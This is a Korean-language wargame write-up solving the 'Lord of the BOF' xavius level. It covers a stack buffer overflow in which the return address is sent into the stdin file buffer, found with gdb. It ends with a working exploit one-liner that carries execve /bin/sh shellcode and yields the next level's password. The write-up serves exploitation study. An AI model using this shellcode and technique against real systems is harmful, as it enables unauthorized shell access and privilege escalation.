nightmare -> xavius
풀이를 하였습니다.
[nightmare@localhost nightmare]$ cat xavius.c
/*
The Lord of the BOF : The Fellowship of the BOF
- xavius
- arg
*/
#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>
main()
{
char buffer[40];
char *ret_addr;
// overflow!
fgets(buffer, 256, stdin);
printf("%s\n", buffer);
if(*(buffer+47) == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(*(buffer+47) == '\x08')
{
printf("binary image retbayed you, too!!\n");
exit(0);
}
// check if the ret_addr is library function or not
memcpy(&ret_addr, buffer+44, 4);
while(memcmp(ret_addr, "\x90\x90", 2) != 0) // end point of function
{
if(*ret_addr == '\xc9'){ // leave
if(*(ret_addr+1) == '\xc3'){ // ret
printf("You cannot use library function!\n");
exit(0);
}
}
ret_addr++;
}
// stack destroyer
memset(buffer, 0, 44);
memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
// LD_* eraser
// 40 : extra space for memset function
memset(buffer-3000, 0, 3000-40);
}
문제는 다음과 같습니다.
// overflow! 부분에서 buffer가 40byte로 할당 되었음에도 stdin으로 256byte 입력을 받아 bof가 터집니다.
그리고 ret공간에 스택과 코드영역으로 return 할 것을 대비하여 그 부분을 막아놨습니다.
// check if the ret_addr is library function or not 부분에서는 ret_addr에 buffer+44(return address)를 memcpy 해주고 leave, ret 가젯을 검사합니다.
이로인해서 제가 아는 스택은 전혀 사용을 못하게 됩니다.
여기서 주목해야 할 점은 fgets() 함수를 이용하여 stdin으로 부터 입력을 256byte 받는다는 점입니다.
stdin객체 <_IO_2_1_stdin_>은 _IO_FILE type으로 _IO_FILE은 /usr/include/libio.h에 정의되어있는데요.
살펴보면 다음과 같습니다.
[nightmare@localhost nightmare]$ cat /usr/include/libio.h
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ -> flag
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */ -> 현재 읽어야할 위치
char* _IO_read_end; /* End of get area. */ -> get area의 끝
char* _IO_read_base; /* Start of putback+get area. */ -> get area의 시작점
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
. . . .
그렇다면 이 공간을 이용할 수 있는지 알아봐야겠죠?
[nightmare@localhost tmp]$ gdb -q xavius
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x8048714 <main>: push %ebp
0x8048715 <main+1>: mov %ebp,%esp
0x8048717 <main+3>: sub %esp,44
0x804871a <main+6>: mov %eax,%ds:0x8049a3c
0x804871f <main+11>: push %eax
0x8048720 <main+12>: push 0x100
0x8048725 <main+17>: lea %eax,[%ebp-40]
0x8048728 <main+20>: push %eax
0x8048729 <main+21>: call 0x8048408 <fgets>
. . . . . . . .
(gdb)
cp로 바이너리를 복사하여 gdb로 main의 어셈블리 코드를 보면 모든 인자를 eax에 복사하여 push하는 것을 볼 수 있는데
인자값이 가장 먼저 push되는 stdin의 주소가 0x8048a3c라는 것을 알 수 있습니다.
(gdb) b * 0x8048728
Breakpoint 1 at 0x8048728
(gdb) b * 0x8048731
Breakpoint 2 at 0x8048731
(gdb) b * 0x8048829
Breakpoint 3 at 0x8048829
bp를 fgets() 함수가 호출되기 전, 호출된 후 마지막으로 스택이 모두 정리되었을때의 스택 상태를 보기 위해 leave instruction에 걸어두고
값이 들어가서 초기화되지 않는것을 확인하면 될것 같습니다.
(gdb) r
Starting program: /home/nightmare/tmp/xavius
Breakpoint 1, 0x8048728 in main ()
(gdb) x/x 0x8049a3c
0x8049a3c <stdin@@GLIBC_2.0>: 0x401068c0
(gdb) x/4wx 0x401068c0
0x401068c0 <_IO_2_1_stdin_>: 0xfbad2088 0x00000000 0x00000000 0x00000000
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 2, 0x8048731 in main ()
(gdb) x/x 0x8049a3c
0x8049a3c <stdin@@GLIBC_2.0>: 0x401068c0
(gdb) x/4wx 0x401068c0
0x401068c0 <_IO_2_1_stdin_>: 0xfbad2288 0x40015065 0x40015065 0x40015000
(gdb) c
Continuing.
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x40077f72 in memcmp () from /lib/libc.so.6
(gdb) x/x 0x8049a3c
0x8049a3c <stdin@@GLIBC_2.0>: 0x401068c0
(gdb) x/4wx 0x401068c0
0x401068c0 <_IO_2_1_stdin_>: 0xfbad2288 0x40015065 0x40015065 0x40015000
(gdb) x/24wx 0x40015000
0x40015000: 0x41414141 0x41414141 0x41414141 0x41414141
0x40015010: 0x41414141 0x41414141 0x41414141 0x41414141
0x40015020: 0x41414141 0x41414141 0x41414141 0x41414141
0x40015030: 0x41414141 0x41414141 0x41414141 0x41414141
0x40015040: 0x41414141 0x41414141 0x41414141 0x41414141
0x40015050: 0x41414141 0x41414141 0x41414141 0x41414141
사실 _IO_FILE 구조체는 fgets에서 인자로 넘어왔을 뿐이라서 fgets() 와 관련이 없습니다.
또 초기화 하는 방법이 있지만 이 또한 입력 버퍼 자체를 초기화 하는것이 아니라고 합니다.
이는 _IO_FILE의 현재 읽어야하는 위치인 char* _IO_read_ptr의 값을 get area의 끝을 나타내는 char* _IO_read_end의 값과 동일하게 하는 것이지 get area 자체를 초기화하지 않는다고 합니다.
이런 이유에서 우리가 입력한 A가 스택에 그대로 남아있는것을 알 수 있습니다.
그렇다면 이곳에 쉘코드를 넣고 return 하면 exploit을 할 수 있을것 같습니다.
[nightmare@localhost nightmare]$ (python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x00\x50\x01\x40"';cat)|./xavius
1h//shh/bin⏓°
̀
id
uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare)
my-pass
euid = 519
throw me away
이상 풀이를 마칩니다.